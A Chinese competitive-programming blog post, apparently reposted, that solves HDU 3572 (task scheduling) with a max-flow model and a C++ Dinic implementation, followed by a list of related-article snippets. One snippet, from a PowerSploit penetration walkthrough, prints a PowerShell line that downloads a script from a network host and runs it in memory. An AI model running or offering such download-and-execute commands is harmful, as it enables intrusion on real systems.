HDU 3572 Task Schedule

传送门

作业调度,这道题还真没想到能用网络流。。。。乍一看跟背包问题差不多。
N个作业,M个机器,每个作业给你一个耗费时间(时间段)以及最早开始时间和最晚完成时间(这两个是时间点),单位是天。一个作业同时只能被一个机器做,一个机器同时也只能做一个作业,但是,可以只做一部分,之后可以切换别的机器做。一部分指的是整数天。
在这里插入图片描述
画个图。把数据处理成上面这个图,然后按照最大流求解就ojbk了,看看最后的最大流是不是P1+P2+P3+...+PN(最大流必然小于等于这个,因为从源点输出就这么些)
源点输出到每个作业,权值等于这个作业的耗费时间P,代表你这个作业要处理P次(每次1天);然后的N+1,N+2这些代表具体的某一天(整体上不一定连续每天都有,要根据每个作业的上下限来定),比如第一个作业的上下限是[N+1,N+3],那么就把这个作业和这个上下限内的每一天都连上一条边,权值是1(此时不用关心这个作业的花费时间,因为前面从源点连的边已限制这一点),权值是1表示某一天内只能处理这个作业1天的完成量(这不是废话么);然后,代表某一天的每个点都要和汇点连上一条权值为M的边,代表这一天最多能同时处理M个作业(因为机器只有M个)。
这个图并不关心某个作业被具体哪些机器处理,因为这个不重要。只关心某个作业必须在哪些天内被处理,以及某一天最多同时处理多少个作业。

这个题还有个问题,就是他没说清楚P<=E-S还是P<=E-S+1。这关系到在上面的图中某个作业要连接E-S个点还是E-S+1个点。
当然,在样例中的第二个输出为Yes说明了是后者。但是真的够sb的。

【19.3.18 想法】今天结合HDU 2883这个题,突然想到一个问题:该方法怎么保证某机器某一天一定处理某任务1天的工作量?而不是0.5个工作量?(也就是说从某任务点某天数点的流量会不会大于0小于1?)
答案是不会的,因为P_NM这些值都是整数且大于等于1,考虑最大流算法寻找增广路的过程,权值为1的边肯定是整条路上权值最小的边,这条路的流量不可能比1再小了。

dinic

#include <cstdio>
#include <iostream>
#include <algorithm>
#include <vector>
#include <cstring>
#include <string>
#include <queue>
using namespace std;const int MAX = 500 + 500 + 2 + 10;
const int INF = 1e9;
int N, M, T;
int flow;
int sum;struct Edge
{int f, t, flow, cap;
};
vector<Edge> ve;
vector<int> v[MAX];int P, S, E;
bool vis[MAX];
int level[MAX];
int cur[MAX];void addEdge(int from, int to, int weight)
{ve.push_back(Edge{ from,to,0,weight });ve.push_back(Edge{ to,from,0,0 });v[from].push_back(ve.size() - 2);v[to].push_back(ve.size() - 1);
}void init()
{ve.clear();for (int i = 0; i <= N + 500 + 1; i++)v[i].clear();flow = sum = 0;memset(vis, 0, sizeof vis);
}bool bfs(int t)
{memset(level, -1, sizeof level);queue<int> q;q.push(0);level[0] = 0;for (; !q.empty();){int x = q.front();q.pop();for (int i = 0; i < v[x].size(); i++){Edge &e = ve[v[x][i]];if (level[e.t] < 0 && e.flow < e.cap){level[e.t] = level[x] + 1;q.push(e.t);}}}return level[t] >= 0;
}int dfs(int n, int t, int f)
{if(n == t || f == 0) return f;                   //for (int& i = cur[n]; i < v[n].size(); i++){Edge& e = ve[v[n][i]];int f0;if (level[e.t] == level[n] + 1 && (f0 = dfs(e.t, t, min(f, e.cap - e.flow))) > 0){e.flow += f0;ve[v[n][i] ^ 1].flow -= f0;return f0;}}return 0;
}int main()
{scanf("%d", &T);for (int cnt = 1; cnt <= T; cnt++){scanf("%d%d", &N, &M);init();for (int i = 1; i <= N; i++){scanf("%d%d%d", &P, &S, &E);if (P > E - S + 1)                      //{printf("Case %d: No\n\n", cnt);return 0;}addEdge(0, i, P);for (int j = S; j <= E; j++){addEdge(i, j + N, 1);//addEdge(j + N, 500 + N + 1, M);vis[j + N] = true;}sum += P;}for (int i = N + 1; i <= N + 500; i++)if (vis[i])addEdge(i, N + 500 + 1, M);for (; bfs(N + 500 + 1);){memset(cur, 0, sizeof cur);int temp;for (; temp = dfs(0, N + 500 + 1, INF);)flow += temp;//cout << flow;}printf("Case %d: %s\n\n", cnt, flow == sum ? "Yes" : "No");}return 0;
}

转载于:https://www.cnblogs.com/CrossingOver/p/10704876.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/449626.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MariaDB安装1,2

2019独角兽企业重金招聘Python工程师标准>>> 4.22 MariaDB安装 MariaDB是MySQL的一个分支。MySQL——>sun——>Oracle&#xff0c;维基百科&#xff1a;https://en.wikipedia.org/wiki/MariaDB 官网&#xff1a;https://mariadb.org MariaDB 10.3.11Linux64位…

CentOS 7 上 Docker 安装

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 Docker支持以下的CentOS版本&#xff1a; CentOS 7 (64-bit)CentOS 6.5 (64-bit) 或更高的版本前提条件 目前&#xff0c;CentOS 仅发…

C/C++拾遗录--关于一个C语言小程序的分析

虽然编了几年程序&#xff0c;但是对于程序到底是什么规则变成汇编代码的&#xff0c;在这里搞了一个小程序。用VC查看了一下汇编代码。在此之前先介绍一下关于函数运行是堆栈变化的细节。 在高级语言编写程序时&#xff0c;函数的调用是很常见的事情&#xff0c;但是在函数调…

重命名 docker 容器名

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 docker 容器&#xff08;服务&#xff09;重命名只要一个命令就可以&#xff1a;docker rename 原容器名 新容器名 如&#xff1a;

vim编辑器常用命令总结

在命令状态下对当前行用 &#xff08;连按两次&#xff09;, 或对多行用n&#xff08;n是自然数&#xff09;表示自动缩进从当前行起的下面n行。你可以试试把代码缩进任意打乱再用n排版&#xff0c;相当于一般IDE里的code format。使用ggG可对整篇代码进行排版。 vim 选择文本&…

Docker 从Dockerfile 构建镜像 :build 命令的用法

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 Dockerfile 创建完成后&#xff0c;可以使用 docker build 命令根据 Dockerfile 构建一个镜像。 1. 首先准备好 Dockerfile : 2. 执行构…

如何保证MongoDB的安全性?

上周写了个简短的新闻《MongoDB裸奔&#xff0c;2亿国人求职简历泄漏&#xff01;》&#xff1a; 根据安全站点HackenProof的报告&#xff0c;由于MongoDB数据库没有采取任何安全保护措施&#xff0c;导致共计202,730,434份国人求职简历泄漏。然后很多人评论说MongoDB躺枪了。 …

Docker:集装箱式“运输”在软件上的实现

Docker是由PaaS提供商dotCloud在2013年年初创建的一款开源应用引擎&#xff0c;Docker可以自动将任何应用打包成轻量、可移植、自包涵的容器引擎。开发者构建的应用可以一次构建全平台运行&#xff0c;包括本地开发机器&#xff0c;生产环境&#xff0c;虚拟机和云等。 Docker基…

如何使用Dockerfile构建镜像

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 Dockfile是一种被Docker程序解释的脚本&#xff0c;Dockerfile由一条一条的指令组成&#xff0c;每条指令对应Linux下面的一条命令。Doc…

小程序 公众号/h5相互跳转-webview

小程序与h5的跳转 前提小程序管理后台配置域名白名单&#xff0c;并且h5页面是嵌在小程序里面&#xff08;相互跳的前提条件&#xff09; 在业务域名中设置好访问的h5地址 微信官方web-view 介绍地址 https://developers.weixin.qq.com/miniprogram/dev/component/web-view.ht…

并行计算的专访

摘要&#xff1a;社区之星第9期采访的嘉宾是香港浸会大学计算机在读博士、浪潮高性能计算顾问赵开勇。此次他为我们揭开了高性能计算的神秘面纱&#xff0c;为读者讲解自己的经验心得。并且他认为基于移动设备的高性能计算将会成为未来潮流&#xff0c;低功耗、高性能也将成为一…

freemarker 从 spring boot execute jar可执行jar中访问模板文件

2019独角兽企业重金招聘Python工程师标准>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目录try {String pathPrefix "/";// 为了支持能从execute jar 中获取模板文件URI uri C…

POWERSPLOIT-Recon(信息侦察)脚本渗透实战

Recon(信息侦察)模块 a) 调用invoke-Portscan扫描内网主机的端口。 1&#xff09;通过IEX下载并调用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…

在CentOS 6上搭建LNMP环境

简介LNMP是Linux、Nginx、MySQL和PHP的缩写&#xff0c;这个组合是最常见的WEB服务器的运行环境之一。本文将带领大家在CentOS 6操作系统上搭建一套LNMP环境。 本教程适用于CentOS 6.x版本。 在安装LNMP环境之前&#xff0c;您需要先对CentOS操作系统做一些初始化的工作&#x…

zabbix-02-CentOS7.4安装zabbix4.0

一、环境准备 1.1 主机规划 这里先对本次实验的机器做一个规划&#xff0c;之后的实验均通过这两台机器完成。 序号IP地址主机名CPU内存硬盘安装服务110.0.0.11zabbix-server1C2G20GBzabbix服务端210.0.0.12zabbix-agent1C1G20GBzabbix客户端1.2 操作系统选择 操作系统选择&…

centos6.8安装docker,kong-dashboard并实现页面访问

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 我们通过kong-dashboard的admin-UI管理界面进行直观的查看。最终显示界面如图&#xff1a; 因为这个kong-dashboard要用到docker&#x…

leetcood学习笔记-204-计算质数

题目描述&#xff1a; 第一次提交;(超时)&#xff1a; class Solution:def countPrimes(self, n: int) -> int:count 0for i in range(2,n):for j in range(2,i1):if i%j 0 and j!i:breakif ji:count1return count 别人家的&#xff1a; 这题搜到一个非常牛逼的算法,叫做厄…

centos-install-kong-cassandra

转自&#xff1a;http://blog.54im.com/2016/12/15/centos-install-kong-cassandra/#前置阅读 对于一些传统的大型项目&#xff0c;传统的方式会有一些缺陷&#xff0c;比如说新人熟悉系统成本高&#xff08;因为整个系统作为一个整体&#xff0c;彼此会有一定的牵连&#xff0…

翁同龢后人向上海博物馆捐赠两件重要家藏

1月24日&#xff0c;翁万戈先生捐赠书画仪式在上海博物馆内举行。 上海博物馆 供图 1月24日&#xff0c;翁万戈先生捐赠书画仪式在上海博物馆内举行。 上海博物馆 供图 中新网上海1月24日电 (王笈)翁同龢后人翁以钧24日携夫人柳至善&#xff0c;代表翁万戈将两件翁氏家族的重要…